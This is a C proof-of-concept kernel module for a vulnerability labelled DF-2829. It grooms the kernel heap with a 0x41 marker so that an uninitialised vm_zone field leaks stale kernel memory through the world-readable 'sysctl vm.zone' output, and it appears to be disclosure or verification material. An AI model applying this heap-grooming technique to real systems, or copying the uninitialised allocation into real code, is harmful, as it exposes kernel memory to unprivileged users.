DF-2829 / df2829_harness.c
/* * DF-2829 PoC harness: uninitialized vm_zone->znalloc kernel-heap disclosure * via unprivileged `sysctl vm.zone` (REQUESTS column). * * Method: * 1. Groom the kernel heap: kmalloc sizeof(struct vm_zone) blocks, fill the * whole block with the marker byte 0x41, then kfree them. zinit() does * kmalloc(sizeof(struct vm_zone), M_ZONE, M_NOWAIT) *without* M_ZERO and * zinitna() never initializes z->znalloc, so the new zone's znalloc field * should inherit our marker 0x4141414141414141. * 2. Create a zone via zinit(). (ZONE_DESTROYABLE so we can cleanly repeat.) * 3. An *unprivileged* user then reads `sysctl vm.zone`; the REQUESTS column * for the zone prints (stale znalloc + real counts) in decimal. * * Expected: REQUESTS for "leakmark_zone" prints ~4702111234474983745 * (0x4141414141414141) => uninitialized kernel heap memory crossed to * userspace through a stock, world-readable sysctl. * * Build: see build.sh (KLD, loaded by root; the leak is read by nobody) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <vm/vm_zone.h> MALLOC_DEFINE(M_DF2829, "df2829groom", "DF-2829 heap groom marker"); static vm_zone_t z2829; static int df2829_modevent(module_t mod, int type, void *data) { void *p; int i; switch (type) { case MOD_LOAD: /* * Groom: fill & free blocks of exactly the size zinit() will * request, so the freed content (0x41 pattern) sits in the * allocator's cache for the next same-size allocation. */ for (i = 0; i < 16; i++) { p = kmalloc(sizeof(struct vm_zone), M_DF2829, M_WAITOK); if (p == NULL) break; memset(p, 0x41, sizeof(struct vm_zone)); kfree(p, M_DF2829); } kprintf("df2829: groomed %d blocks of %zu bytes\n", i, sizeof(struct vm_zone)); z2829 = zinit("leakmark_zone", 64, 1, ZONE_DESTROYABLE); if (z2829 == NULL) { kprintf("df2829: zinit failed\n"); return (ENOMEM); } kprintf("df2829: zone=%p sizeof(struct vm_zone)=%zu " "znalloc now = uninit heap (expect 0x4141414141414141)\n", z2829, sizeof(struct vm_zone)); break; case MOD_UNLOAD: if (z2829 != NULL) zdestroy(z2829); z2829 = NULL; break; default: break; } return (0); } static moduledata_t df2829_mod = { "df2829", df2829_modevent, NULL }; DECLARE_MODULE(df2829, df2829_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |